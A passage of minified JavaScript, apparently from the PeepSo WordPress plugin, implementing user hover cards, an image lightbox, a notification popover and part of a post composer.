touchstart",function(t){t.stopPropagation(),l()}),r.on("mouseleave",function(t){t.stopPropagation(),p()}),r.append(d).appendTo(document.body),r),"loading"===t?r.find(".ps-js-loading").show():t&&(r.find(".ps-js-loading").hide(),r.find(".ps-js-name").html(t.name),r.find(".ps-js-avatar").attr("src",t.avatar),r.find(".ps-js-cover").css({backgroundImage:`url(${encodeURI(t.cover)})`}),r.find(".ps-js-views").html(t.views||0),r.find(".ps-js-likes").html(t.likes||0),r.find(".ps-js-link").attr("href",t.link||"#"),i=r.find(".ps-js-views").closest(".ps-hovercard__count--views"),-1==+t.views?i.hide():i.show(),n.observer.doAction("hovercard_update_html",r,t)),r.show(),n.default.isTouch()&&(0,s.default)(document).off("touchstart.hovercard").one("touchstart.hovercard",p),e&&e.currentTarget&&e.clientX&&(t=(i=(0,s.default)(e.currentTarget)).offset(),o=window.innerWidth<=480,d.css({top:"",left:0,bottom:0,right:o?0:""}),r.css({top:t.top-r.height(),left:o?0:e.clientX,right:o?0:"",width:o?"":1}),(e=d.get(0).getBoundingClientRect()).top<0&&(r.css({top:t.top+i.height()}),d.css({bottom:"",top:0})),o||e.right>(window.innerWidth||document.documentElement.clientWidth)&&d.css({left:"",right:0}))}function p(){r&&(h=setTimeout(function(){r.hide(),n.default.isTouch()&&(0,s.default)(document).off("touchstart.hovercard")},200))}class c{constructor(t,e){i(this,"$elem",void 0),i(this,"id",void 0),i(this,"data",void 0),i(this,"timer",void 0),this.id=e,this.$elem=(0,s.default)(t),this.$elem.on("mouseenter touchstart",t=>{t.stopPropagation(),this.show(t)}),this.$elem.on("mouseleave",t=>{t.stopPropagation(),this.hide()}),n.default.isTouch()&&this.$elem.on("click",t=>{t.preventDefault(),t.stopPropagation()}),n.observer.addAction("profile_update_like",(t,e)=>{+t==+this.id&&(t=c.cache[this.id])&&(t.likes=e)},10,2)}getData(){return new n.Promise((e,i)=>{let o=c.cache[this.id];o?e(o):n.default.postJson("hovercard.info",{userid:this.id},t=>{t.success?(o=c.cache[this.id]=t.data,e(o)):i()})})}show(i){this.timer=setTimeout(()=>{let e=setTimeout(()=>{l("loading",i)},500);this.getData().then(t=>{clearTimeout(e),this.timer&&l(t,i)})},300)}hide(){clearTimeout(this.timer),this.timer=null,p()}}i(c,"cache",{});u.default=c;(0,s.default)(function(){a.hovercard&&(0,s.default)(document).on("mouseenter touchstart","[data-hover-card]",function(t){var e,i=(0,s.default)(t.currentTarget);i.data("ps-hovercard")||(e=i.data("hover-card"),e=new c(i[0],e),i.data("ps-hovercard",e),e.show(t))})})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],17:[function(t,e,i){t("./autosize"),t("./dropdown"),t("./share"),t("./time"),t("./safety-warning"),t("./posttabs"),t("./postbox-legacy"),t("./postbox"),t("./postbox-new"),t("./notification-general"),t("./widgets"),t("./third-party-fixes"),t("./lightbox"),t("./focus-area"),t("./hover-card"),t("./cover"),t("./avatar/index"),t("./footer")},{"./autosize":1,"./avatar/index":4,"./cover":7,"./dropdown":11,"./focus-area":14,"./footer":15,"./hover-card":16,"./lightbox":18,"./notification-general":19,"./postbox":37,"./postbox-legacy":23,"./postbox-new":24,"./posttabs":43,"./safety-warning":44,"./share":45,"./third-party-fixes":46,"./time":47,"./widgets":48}],18:[function(m,t,e){!function(f){!function(){var t,r,o,e,i,s,n,a,d="undefined"!=typeof window?window.peepso:void 0!==f?f.peepso:null,h="undefined"!=typeof window?window.peepsodata:void 0!==f?f.peepsodata:null,l=c(m("imagesloaded")),p=c(m("swipejs"));function c(t){return t&&t.__esModule?t:{default:t}}function u(){}t=jQuery||$,p=p.default,r=t,o=p,e=peepsolightboxdata.template.replace(/>\s+</g,"><"),i="ps-lightbox-data--opened",s="ps-lightbox-close--invert",u.prototype={init:function(){this.$container||(this.$container=r(e),this.$padding=this.$container.find(".ps-lightbox-padding"),this.$wrapper=this.$container.find(".ps-lightbox-wrapper"),this.$close=this.$container.find(".ps-lightbox-close"),this.$object=this.$container.find(".ps-lightbox-object"),this.$prev=this.$container.find(".ps-lightbox-arrow-prev"),this.$next=this.$container.find(".ps-lightbox-arrow-next"),this.$spinner=this.$container.find(".ps-lightbox-spinner"),this.$attachment=this.$container.find(".ps-lightbox-data"),this.$btnattachment=this.$container.find(".ps-lightbox-data-toggle"),this.$imagelink=this.$container.find(".ps-lightbox-imagelink"),this.attachevents(),this.$container.appendTo(document.body)),this.isMobile()&&(this.$viewport||(this.$viewport=r("meta[name=viewport]"),this.$viewport.length)||(this.$viewport=r('<meta name="viewport" content="" />').appendTo("head")),this.vpNoZoom="width=device-width, user-scalable=no",this.vpValue||(this.vpValue=this.$viewport.attr("content"),this.$viewport.attr("content",this.vpNoZoom))),this.options.simple?this.$container.addClass("ps-lightbox-simple"):this.$container.removeClass("ps-lightbox-simple"),this.$prev.hide(),this.$next.hide(),this.$container.show(),this.resetHeight(),this.options.simple&&this.setHeight();var t=r(window);t.off("resize.ps-lightbox"),this.options.simple&&t.on("resize.ps-lightbox",r.proxy(this.setHeight,this)),r(document.body).off("keyup.ps-lightbox").on("keyup.ps-lightbox",r.proxy(function(t){27===t.keyCode&&this.close()},this)),this.nonEmptyComments={},this.$attachment.on("input","textarea.ps-comments__input",t=>{var t=r(t.target),e=t.data("act-id");t.val().trim()?this.nonEmptyComments[e]=!0:this.nonEmptyComments[e]&&delete this.nonEmptyComments[e]}),peepso.hooks.removeAction("post_reload","lightbox"),peepso.hooks.addAction("post_reload","lightbox",(i,t)=>{t=r(t.posts);let o=+t.find(".ps-js-comments").data("commentsOpen")?0:1,s=+t.find(".ps-js-post-header").data("hideHeader")?1:0;function n(t,e,i){var o=t.find(".ps-js-comments"),e=o.find(`.ps-js-comment-container[data-post-id="${e}"]`);e.length&&(o.data("commentsOpen",i?0:1),e.attr("data-comments-open",i?0:1),e.find(".ps-js-btn-reply").css("display",i?"none":""),o.find(".ps-js-comments-closed").css("display",i?"block":"none"),t.find(".ps-lightbox__side-wrapper--reply .ps-js-comment-new").css("display",i?"none":""),e=t.find(".ps-js-opt-toggle-comments"),o=i?e.data("opt-enable"):e.data("opt-disable"),e.find("span").html(o.label),e.find("i").attr("class",o.icon),e.attr("onclick",o.click))}function a(t,e,i){t.find(".ps-post__header").find(".ps-avatar, .ps-post__title, .ps-post__info").css("display",i?"none":"");t=t.find(".ps-js-opt-toggle-header"),i=i?t.data("opt-enable"):t.data("opt-disable");t.find("span").html(i.label),t.find("i").attr("class",i.icon),t.attr("onclick",i.click)}n(this.$attachment,i,o),a(this.$attachment,0,s),this.data instanceof Array&&this.data.map(t=>{var e=r("<div/>").html(t.attachment);return n(e,i,o),a(e,0,s),t.attachment=e.html(),t})})},open:function(t,e){var i;this.data=t||[],this.options=e||{},this.index=e.index||0,this.init(),this.$container.removeClass("ps-lightbox--"+this.$container.attr("data-type")),this.$object.removeClass("ps-lightbox__object--"+this.$object.attr("data-type")),this.options.type?(this.$container.addClass("ps-lightbox--"+this.options.type),this.$object.addClass("ps-lightbox__object--"+this.options.type),this.$container.attr("data-type",this.options.type),this.$object.attr("data-type",this.options.type)):(this.$container.removeAttr("data-type"),this.$object.removeAttr("data-type")),this.options.simple||(i=r(`
<div class="ps-lightbox__object-inner">
<div class="ps-lightbox__object-container"></div>
</div>
`),_.each(this.data,function(t,e){i.children().append(`
<div class="ps-lightbox__object-item ps-js-item" data-spinner="1">
<div class="ps-lightbox__spinner ps-lightbox-spinner" style="display:block;"></div>
</div>
`)}),this.$object.empty(),this.$object.append(i),this.mySwipe=o(i[0],{draggable:!0,startSlide:this.index,callback:r.proxy(function(t,e){this.go(t)},this)})),this.togglenav(),this.go(this.index),this.options.showAttachment&&(t=window.innerWidth||document.documentElement.clientWidth,delete this.options.showAttachment,t<=979)?this.showAttachment():this.hideAttachment(),r("body").addClass("ps-lightbox--open")},close:function(t){!this.$container||this.nonEmptyComments&&Object.keys(this.nonEmptyComments).length&&!confirm(h.comments_unsaved_notice)||(this.nonEmptyComments={},this.$container.hide(),this.$object.empty(),this.$attachment.empty(),this.isMobile()&&this.vpValue&&(this.$viewport.attr("content",this.vpValue),this.vpValue=!1),r(window).off("resize.ps-lightbox keyup.ps-lightbox"),r(document.body).off("keyup.ps-lightbox"),r("body").removeClass("ps-lightbox--open"))},go:function(t){if("function"==typeof this.options.beforechange&&this.options.beforechange(this),this.data[t])if(this.data[this.index]&&(e=this.$attachment.html().trim())&&(this.data[this.index].attachment=e),this.index=t,this.$attachment.html(this.data[this.index].attachment||""),this.options.simple)this.$object.html(this.data[this.index].content),(e=this.$object.find("img")).length&&(this.showLoading(),this.$close.hide(),e.on("load",r.proxy(function(){this.hideLoading(),this.$close.show(),this.resetHeight(),this.setHeight.apply(this)},this)),t=e.attr("src").replace("/thumbs/","/").replace(/_(l|m_s|s_s)\./,"."),this.$imagelink.find("a").attr("href",t)),this.options.nofulllink?this.$imagelink.hide():this.$imagelink.show(),this.$btnattachment.hide();else{var i=this.$object.find(".ps-js-item").eq(this.index);if(2===this.mySwipe.getNumSlides()&&(i=i.add(this.$object.find(".ps-js-item").eq(this.index+2))),this.$imagelink.find("a").removeAttr("href"),i.data("spinner")){i.removeData("spinner"),i.removeAttr("data-spinner");let t=this.data[this.index].content,e=r("<div />").append(t).children("img");e.length?(0,l.default)(e[0],()=>{i.html(t),this.$imagelink.find("a").attr("href",e.attr("src")),this.copyNecessaryActions()}):(i.html(t),this.copyNecessaryActions())}else{var e=i.find("img");this.$imagelink.find("a").attr("href",e.attr("src"))}this.$btnattachment.show()}"function"==typeof this.options.afterchange&&this.options.afterchange(this),r(document).trigger("ps_lightbox_navigate")},prev:function(){this.nonEmptyComments&&Object.keys(this.nonEmptyComments).length&&!confirm(h.comments_unsaved_notice)||(this.nonEmptyComments={},("function"==typeof this.options.prev?(this.close(),this.options):this.mySwipe).prev())},next:function(){this.nonEmptyComments&&Object.keys(this.nonEmptyComments).length&&!confirm(h.comments_unsaved_notice)||(this.nonEmptyComments={},("function"==typeof this.options.next?(this.close(),this.options):this.mySwipe).next())},togglenav:function(){var t=this.$prev.add(this.$next),e=(this.$container.off("click.ps-lightbox",".ps-lightbox-arrow-prev"),this.$container.off("click.ps-lightbox",".ps-lightbox-arrow-next"),r(window).off("keyup.ps-lightbox"),!1);this.options.nonav?e="function"==typeof this.options.nonav?this.options.nonav():this.options.nonav:(!this.data.length||this.data.length<=1)&&(e=!0),e?t.hide():(t.show(),this.$container.on("click.ps-lightbox",".ps-lightbox-arrow-prev",r.proxy(this.prev,this)),this.$container.on("click.ps-lightbox",".ps-lightbox-arrow-next",r.proxy(this.next,this)),r(window).on("keyup.ps-lightbox",r.proxy(function(t){t=t.keyCode;37===t?this.prev():39===t&&this.next()},this)))},isAttachmentOpened:function(){return this.$attachment.hasClass(i)},showAttachment:function(){this.$attachment.addClass(i),this.$close.addClass(s),this.toggleMobileView(),d.hooks.addAction("browser_resize","lightbox",()=>this.toggleMobileView())},hideAttachment:function(){this.$attachment.removeClass(i),this.$close.removeClass(s),d.hooks.removeAction("browser_resize","lightbox"),this.toggleMobileView()},showLoading:function(){this.$object.hide(),this.$spinner.show()},hideLoading:function(){this.$spinner.hide(),this.$object.show()},copyNecessaryActions:function(){if(!this.$attachment.is(":visible")){var t=this.$object.find(".ps-js-item").eq(this.index),e=this.$attachment.find(".ps-post__options");let i=t.find(".ps-lightbox__object-actions");e.find(".ps-js-dropdown-menu a[data-lightbox-action]").each((t,e)=>{e=r(e).clone();e.html(e.text()),i.find(".ps-js-dropdown-menu").append(e)})}},attachevents:function(){this.$container.on("click.ps-lightbox",".ps-lightbox-padding",r.proxy(function(t){t.target===t.currentTarget&&(t.stopPropagation(),this.close())},this)),this.$btnattachment.on("click",r.proxy(function(){this.isAttachmentOpened()?this.hideAttachment():this.showAttachment()},this)),this.$close.on("click",r.proxy(function(){this.isAttachmentOpened()?this.hideAttachment():this.close()},this)),this.$imagelink.on("click","a",r.proxy(function(){this.close()},this)),this.$attachment.on("keyup.ps-lightbox",function(t){t.stopPropagation()})},isMobile:function(){var t=/android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(navigator.userAgent);return this.isMobile=t?function(){return!0}:function(){return!1},t},resetHeight:function(){this.$object.find("img").css("maxHeight","")},setHeight:_.debounce(function(){this.$object.find("img").css("maxHeight",this.$wrapper.height())},100),toggleMobileView:function(){var t="ps-lightbox--comments";(window.innerWidth||document.documentElement.clientWidth)<=979&&this.isAttachmentOpened()?this.$container.addClass(t):this.$container.removeClass(t)}},n=new u,a=!!window.location.href.match(/#.*comment(\.\d+)+/),t(function(){setTimeout(function(){a=!1},6e3)}),peepso.lightbox=function(t,e){"close"===t?n.close():"function"!=typeof t?(a&&((e=e||{}).showAttachment=!0,a=!1),n.open(t,e||{})):(n.options=e||{},n.init(),n.showLoading(),t(function(t,e){a&&((e=e||{}).showAttachment=!0,a=!1),n.hideLoading(),n.open(t,e||{})}))},peepso.simple_lightbox=function(t){peepso.lightbox([{content:'<div style="display:inline-block;"><img src="'+t+'" /></div>'}],{simple:!0})}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{imagesloaded:54,swipejs:55}],19:[function(s,t,e){!function(o){!function(){var t=i("undefined"!=typeof window?window.jQuery:void 0!==o?o.jQuery:null),e=i(s("./popover"));function i(t){return t&&t.__esModule?t:{default:t}}(0,t.default)(t=>{t(".ps-js-notifications").each(function(){new e.default(this)})})}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"./popover":20}],20:[function(b,t,v){!function(g){!function(){Object.defineProperty(v,"__esModule",{value:!0}),v.default=void 0;var d=s("undefined"!=typeof window?window.jQuery:void 0!==g?g.jQuery:null),e=o("undefined"!=typeof window?window.peepso:void 0!==g?g.peepso:null),t=s(b("./singleton")),i=s(b("../notification-popover"));function o(t,e){var n,a;return"function"==typeof WeakMap&&(n=new WeakMap,a=new WeakMap),function(e,t){if(!t&&e&&e.__esModule)return e;var i,o,s={__proto__:null,default:e};if(null!==e&&("object"==typeof e||"function"==typeof e)){if(i=t?a:n){if(i.has(e))return i.get(e);i.set(e,s)}for(let t in e)"default"!==t&&{}.hasOwnProperty.call(e,t)&&((o=(i=Object.defineProperty)&&Object.getOwnPropertyDescriptor(e,t))&&(o.get||o.set)?i(s,t,o):s[t]=e[t])}return s}(t,e)}function s(t){return t&&t.__esModule?t:{default:t}}let n=peepsodata.confirm_mark_all_as_read,a=peepsodata.mark_all_as_read_text;let r=peepsodata.show_unread_only_text,h=peepsodata.show_all_text,l=peepsodata.view_all_text,p=peepsodata.notification_url,c=peepsodata.notification_header,u=peepsodata.confirm_mark_all_as_read_template,f=new t.default;class m extends i.default{constructor(t){super(t),this.loading=!1,this.loadEnd=!1,f.on("counter:updated",t=>{this.updateCounter(t)}),f.on("html:updated",t=>{this.updateHtml(t)}),f.on("unread_only:updated",t=>{this.updateButton(t)})}createHeader(){return c?(0,d.default)('<div class="ps-notif__box-header"></div>').html(c).on("click",t=>t.stopPropagation()):(0,d.default)()}createBody(){return super.createBody().on("mousedown",".ps-js-notification",t=>{this.onItemClick(t)}).on("click",".ps-js-mark-as-read",t=>{this.onMarkRead(t)}).on("click",".ps-js-notification a",t=>{t.stopPropagation()}).on("mousedown",".ps-js-mark-as-read",t=>{t.stopPropagation()})}createFooter(){this.$btnMarkAllRead=(0,d.default)('<a href="#">'+a+"</a>").on("click",t=>{n?this.onMarkAllReadWithConfirmation(t):this.onMarkAllRead(t)});var t=e.observer.applyFilters("notification_unread_only",0),t=(this.$btnToggleUnreadOnly=(0,d.default)('<a href="#">'+(t?h:r)+"</a>").on("click",t=>{this.onToggleUnreadOnly(t)}),(0,d.default)('<a href="'+p+'">'+l+"</a></div>").on("click",t=>{t.stopPropagation()}));return(0,d.default)('<div class="ps-notif__box-footer"></div>').append(this.$btnMarkAllRead).append(this.$btnToggleUnreadOnly).add((0,d.default)('<div class="ps-notif__box-footer"></div>').append(t))}updateCounter(t){var e=this.$counter;0<t?e.text(t).show():e.hide()}updateHtml(t){this.html!==t&&(this.html=t,this.$popoverBody.html(t),(0,d.default)(document.body).hasClass("wp-admin"))&&this.$popoverBody.find("a[href]").attr("target","_blank")}updateButton(t){var e=this.$btnToggleUnreadOnly,t=t?h:r;this.loadEnd=!1,e.html(t)}toggle(t){super.toggle(t),this.html||(t=+this.$counter.text()||0,f.unreadCount=t,f.fetch(1));t=this.$btnMarkAllRead;t.data("html")&&t.html(t.data("html")).removeData("html"),n&&t.removeData("confirmation")}loadNext(){let t,e;this.loading||this.loadEnd||(this.loading=!0,t=this.$popoverLoading,(e=this.$popoverBody.append(t))[0].scrollTop=e[0].scrollHeight,f.next().catch(()=>{this.loadEnd=!0}).then(()=>{this.loading=!1,t.detach(),this.loadEnd||this.tryLoadNext()}))}onItemClick(t){let e=(0,d.default)(t.currentTarget),i=e.data("id"),o=e.data("unread"),s="ps-notification--unread",n,a,r;t.stopPropagation(),3===t.which||t.ctrlKey||t.altKey||(("_blank"===(n=e.find("a").eq(0)).attr("target")||2===t.which||t.metaKey||t.shiftKey)&&(r=!0),o||"object"!=typeof ReactNativeWebView?o?(r||n.on("click",function(t){t.preventDefault(),t.stopPropagation()}),e.data("progress")||(e.data("progress",!0).css("opacity",.5),e.removeClass(s),a=e.find(".ps-js-mark-as-read").hide(),f.markRead(i).then(()=>{e.data("unread",!1),a.remove(),"object"==typeof ReactNativeWebView?ReactNativeWebView.postMessage(JSON.stringify({clickedLink:n.attr("href"),preferredTab:"home"})):r||(n.off("click"),n[0].click(),this.openUrl(n.attr("href")))}).catch(()=>{e.addClass(s),a.show()}).then(()=>{e.data("progress",!1).css("opacity","")}))):r||this.openUrl(n.attr("href")):(n.off("click").on("click",function(t){t.preventDefault(),t.stopPropagation()}),ReactNativeWebView.postMessage(JSON.stringify({clickedLink:n.attr("href"),preferredTab:"home"}))))}onMarkRead(t){let e=(0,d.default)(t.currentTarget),i=e.closest(".ps-js-notification"),o=i.data("id"),s="ps-notification--unread";t.preventDefault(),t.stopPropagation(),i.data("progress")||(i.data("progress",!0).css("opacity",.5),i.removeClass(s),e.hide(),f.markRead(o).then(()=>{i.data("unread",!1),e.remove()}).catch(()=>{i.addClass(s),e.show()}).then(()=>{i.data("progress",!1).css("opacity","")}))}onMarkAllRead(t){t.preventDefault(),t.stopPropagation();let e=this.$btnMarkAllRead;e.data("progress")||(this.updateCounter(0),e.data("progress",!0).css("opacity",.5),f.markRead().then(()=>this.toggle()).catch(d.default.noop).then(()=>e.css("opacity","").removeData("progress")))}onMarkAllReadWithConfirmation(t){t.preventDefault(),t.stopPropagation();let e=this.$btnMarkAllRead;e.data("confirmation")||e.data("progress")||(e.data("confirmation",!0).data("html",e.html()),e.html(u),e.off("click.confirm").on("click.confirm","button",t=>{t.preventDefault(),t.stopPropagation(),e.data("progress")||((0,d.default)(t.currentTarget).data("ok")?(this.updateCounter(0),e.data("progress",!0).css("opacity",.5),f.markRead().then(()=>this.toggle()).catch(d.default.noop).then(()=>{e.data("html")&&e.html(e.data("html")).removeData("html"),e.css("opacity","").removeData("confirmation progress")})):(e.data("html")&&e.html(e.data("html")).removeData("html"),e.removeData("confirmation")))}))}openUrl(t){let e=window.location.href,i=t,o=i.replace(/#.*$/,"")===e.replace(/#.*$/,"");setTimeout(function(){window.location=i,o&&window.location.reload()},1)}onToggleUnreadOnly(t){let e=this.$btnToggleUnreadOnly;t.preventDefault(),t.stopPropagation(),e.data("progress")||(this.$popoverBody.empty().append(this.$popoverLoading),e.data("progress",!0).css("opacity",.5),f.toggleUnreadOnly().catch(d.default.noop).then(()=>{e.data("progress",!1).css("opacity",""),this.tryLoadNext()}))}}v.default=m}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{"../notification-popover":22,"./singleton":21}],21:[function(t,e,r){!function(s){!function(){Object.defineProperty(r,"__esModule",{value:!0}),r.default=void 0;var t,n=(t="undefined"!=typeof window?window.jQuery:void 0!==s?s.jQuery:null)&&t.__esModule?t:{default:t},a=e("undefined"!=typeof window?window.peepso:void 0!==s?s.peepso:null);function e(t,e){var n,a;return"function"==typeof WeakMap&&(n=new WeakMap,a=new WeakMap),function(e,t){if(!t&&e&&e.__esModule)return e;var i,o,s={__proto__:null,default:e};if(null!==e&&("object"==typeof e||"function"==typeof e)){if(i=t?a:n){if(i.has(e))return i.get(e);i.set(e,s)}for(let t in e)"default"!==t&&{}.hasOwnProperty.call(e,t)&&((o=(i=Object.defineProperty)&&Object.getOwnPropertyDescriptor(e,t))&&(o.get||o.set)?i(s,t,o):s[t]=e[t])}return s}(t,e)}let i;class o extends a.default.npm.EventEmitter{constructor(){if(!i){super(),(i=this).notifications=[""],this.unreadCount=null;let t=0;window.localStorage&&(t=+window.localStorage.getItem("peepso_notif_unread_only")),this.params={page:1,per_page:5,unread_only:t},a.observer.addFilter("notification_unread_only",()=>this.params.unread_only,10,1),this.fetchEnd=!1,a.observer.addAction("notification_update",t=>{this.doUpdate(t)},10,1)}return i}get html(){return _.flatten(this.notifications).join("")}doUpdate(t){t&&t.data&&(t=+(t.data["ps-js-notifications"]||{}).count,_.isNaN(t)||this.unreadCount===t||(this.unreadCount=t,this.emit("counter:updated",t),this.reset()))}reset(){return new a.Promise(t=>{this.notifications=[""],this.params.page=1,this.fetchEnd=!1,this.fetch().catch(n.default.noop).then(()=>{t()})})}fetch(t=null){let o=_.extend({},this.params,{page:t||this.params.page}),e,s;return(e=new a.Promise((e,i)=>{this.fetchEnd?e([]):a.default.postJson("notificationsajax.get_latest",o,t=>{t.success?(s=t.data||{},e(s.notifications||[])):t.errors&&1===o.page?i(t.errors):e([])})})).then(t=>{_.isArray(t)&&t.length?this.notifications[o.page]=t:this.fetchEnd=!0}).catch(t=>{this.fetchEnd=!0,this.params.page=1,this.notifications=["",['<div class="ps-notification">','<a class="ps-notification__inside">','<div class="ps-notification__desc">',t.join("<br />"),"</div>","</a>","</div>"].join("")]}).then(()=>{this.emit("html:updated",this.html)}),e}next(){return new a.Promise((t,e)=>{let i=this.params.page+1;this.fetchEnd?e():this.fetch(i).then(()=>{this.params.page=i,t()})})}markRead(s=null){return new a.Promise((i,o)=>{a.default.postJson("notificationsajax.mark_as_read",s?{note_id:s}:null,t=>{var e;(t.success?(e=(t=s?Math.max(this.unreadCount-1,0):0)-this.unreadCount,this.unreadCount=t,this.notifications=this.__markHtmlAsRead(this.notifications,s),this.emit("counter:updated",this.unreadCount),this.emit("html:updated",this.html),a.observer.doAction("notification_titlebar",e=(0<=e?"+":"")+e),i):o)()})})}toggleUnreadOnly(){return new a.Promise((t,e)=>{let i=this.params.unread_only;i=i?0:1,this.params.unread_only=i,this.reset().then(()=>{this.emit("unread_only:updated",i),window.localStorage&&window.localStorage.setItem("peepso_notif_unread_only",i),t()})})}__markHtmlAsRead(t,o=null){let s="ps-js-notification";return _.map(t,i=>{if(_.isArray(i))i=this.__markHtmlAsRead(i,o);else if(_.isString(i)&&i.length){let t=(0,n.default)("<div/>").html(i),e=t.find("."+s);(e=o?e.filter("."+s+"--"+o):e).removeClass("ps-notification--unread").removeAttr("data-unread"),e.find(".ps-js-mark-as-read").remove(),i=t.html()}return i},this)}}r.default=o}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],22:[function(t,e,s){!function(o){!function(){Object.defineProperty(s,"__esModule",{value:!0}),s.default=void 0;var t,i=(t="undefined"!=typeof window?window.jQuery:void 0!==o?o.jQuery:null)&&t.__esModule?t:{default:t};let e=peepsodata.loading_gif;s.default=class{constructor(t){this.guid=_.uniqueId("psNotificationPopover_"),this.$elem=(0,i.default)(t),this.$counter=this.$elem.find(".ps-js-counter"),this.$popover=null,this.$popoverHeader=null,this.$popoverBody=null,this.$popoverFooter=null,this.$popoverLoading=null,this.$elem.on("click",t=>{this.toggle(t)}),this.render()}render(){this.$popover||(this.$popoverHeader=this.createHeader(),this.$popoverBody=this.createBody(),this.$popoverFooter=this.createFooter(),this.$popoverLoading=(0,i.default)('<div class="ps-loading ps-loading--notifs" />').append('<img src="'+e+'" />').appendTo(this.$popoverBody),this.$popover=(0,i.default)('<div class="ps-notif__box" />').append(this.$popoverHeader).append(this.$popoverBody).append(this.$popoverFooter).hide(),this.$elem.append(this.$popover))}createHeader(){return(0,i.default)()}createBody(){return(0,i.default)('<div class="ps-notifications ps-notifications--notifs" />').css({maxHeight:"min(22em, 40vh)",overflow:"auto"}).on("wheel",t=>{this.disableParentScroll(t)}).on("scroll",t=>{this.handleScroll(t)})}createFooter(){return(0,i.default)()}toggle(t){let e="click."+this.guid;t&&t.preventDefault(),this.$popover||this.render(),this.$popover.is(":visible")?((0,i.default)(document).off(e),this.$popover.stop().slideUp("fast")):_.defer(()=>{this.$popover.stop().slideDown({duration:"fast",done:()=>{(0,i.default)(document).one(e,t=>{this.$popover.hide()}),this.tryLoadNext()}})})}tryLoadNext(){var t=this.$popoverBody[0],e=t.scrollTop;Math.abs(e-(t.scrollHeight-t.clientHeight))<=1&&this.loadNext()}loadNext(){}disableParentScroll(t){var e=t.currentTarget,i=e.scrollTop,o=t.originalEvent.deltaY;(0===i&&o<0||(e=e.scrollHeight-e.clientHeight,Math.abs(i-e)<=1&&0<o))&&(t.preventDefault(),t.stopPropagation())}handleScroll(){this.tryLoadNext()}}}.call(this)}.call(this,"undefined"!=typeof global?global:"undefined"!=typeof self?self:"undefined"!=typeof window?window:{})},{}],23:[function(t,e,i){var o;function s(){this.can_submit=!1,this.$postbox=null,this.$url_preview_container=jQuery("<div class='ps-postbox__url-preview-wrapper url-preview-container'></div>"),this.embedData=null,this.embedExceptions=[],peepso.hooks.addAction("activitystream_append",t=>this.append_to_stream(t))}(o=jQuery).fn.pspostbox=function(t){var i;if(!(this.length<=0))return(i=this).$textarea=null,this.$access=null,this.$charcount=null,this.$preview_button=null,this.$cancel_button=null,this.$save_button=null,this.$posttabs=null,this.$privacy_dropdown=null,this.can_submit=!1,this.init=function(t){var i=this,e={textarea:"textarea.ps-postbox-textarea",mirror:".ps-postbox-mirror",addons:".ps-postbox-addons",access:"#postbox_acc",save_url:"postbox.post",charcount:".ps-js-charcount",preview_button:".ps-js-btn-preview",cancel_button:".ps-button-cancel",save_button:".postbox-submit",send_button_text:void 0,text_length:peepsodata.postsize,autosize:!0};this.opts=e,o.extend(!0,this.opts,t),this.guid=_.uniqueId("postbox-"),this.$posttabs=o(this).find(".ps-postbox-tab-root").ps_posttabs({container:this}),this.$textarea=jQuery(this.opts.textarea,this),this.$mirror=jQuery(this.opts.mirror,this),this.$addons=jQuery(this.opts.addons,this),this.$access=o(this.opts.access,this),this._default_access=this.$access.val(),this.$charcount=o(this.opts.charcount,this),this.$preview_button=o(this.opts.preview_button,this),this.$cancel_button=o(this.opts.cancel_button,this),this.$save_button=o(this.opts.save_button,this),_.isUndefined(this.opts.send_button_text)||this.$save_button.html(this.opts.send_button_text),this.$preview_button.on("click",function(){window.postbox.check_url_preview("force")}),this.$privacy=o("#privacy-tab",this),this.orig_height=this.$textarea.height(),this.opts.autosize&&this.$textarea.autosize(),this.$textarea.attr("maxlength",this.opts.text_length).on("keydown",function(t){i.on_keydown(t)}).on("keypress",function(t){i.on_keypress(t)}).on("paste",function(t){i.on_paste(t)}).on("focus",function(t){i.on_focus()}).on("keyup",function(t){i.on_change()}).on("input",function(t){i.on_input()}),this.$charcount.html(this.opts.text_length+""),this.$privacy_dropdown=o(".ps-privacy-dropdown",this.$privacy),this.$privacy_dropdown.on("click a",jQuery.proxy(function(t){var t=jQuery(t.target).closest("a"),e=this.$privacy.find(".ps-js-interaction-wrapper .ps-js-interaction-toggle"),i=jQuery("#postbox_acc");e.find("i").attr("class",t.find("i").attr("class")),e.find("span").html(t.find("span").text()),i.val(t.attr("data-option-value"))},this)),this.$privacy.on("click",function(t){i.privacy(t)}),peepso.observer.addAction("postbox_group_set",function(t){t===i&&i.$privacy.hide()},10,1),peepso.observer.addAction("postbox_group_reset",function(t){t===i&&i.$privacy.show()},10,1),jQuery("nav.ps-postbox-tab ul li a").click(this.clear_tabs),jQuery("#status-post",i).addClass("active"),jQuery(this.$posttabs).on("peepso_posttabs_show-status",function(){jQuery("#status-post",i).addClass("active"),jQuery(".ps-postbox-status").show(),i.on_change()}),peepso.observer.addAction("postbox_type_set",function(t,e){t===i&&"status"===e&&jQuery("#status-post",i).trigger("click")},10,2),jQuery("#status-post",i).on("click",function(){jQuery(i.$posttabs).find("[data-tab='status']").trigger("click")}),this.$posttabs.on("peepso_posttabs_submit-status",function(){i.save_post()}),this.$posttabs.on("peepso_posttabs_cancel-status",function(){jQuery("#status-post",i).removeClass("active")}),this.$posttabs.on("peepso_posttabs_submit",function(){i.$textarea.attr("readonly","readonly"),i.find(".ps-postbox-status").css("opacity",.5)}),this.$posttabs.on("peepso_posttabs_cancel",function(){i.$textarea.val(""),i.cancel_post()}),this.find(".interactions > ul > li > .interaction-icon-wrapper a").on("click",function(t,e){e||i.find(".interactions > ul > li > .ps-js-interaction-wrapper a").not(this).trigger("peepso.interaction-hide",[!0])}),setTimeout(()=>{let e=()=>{let 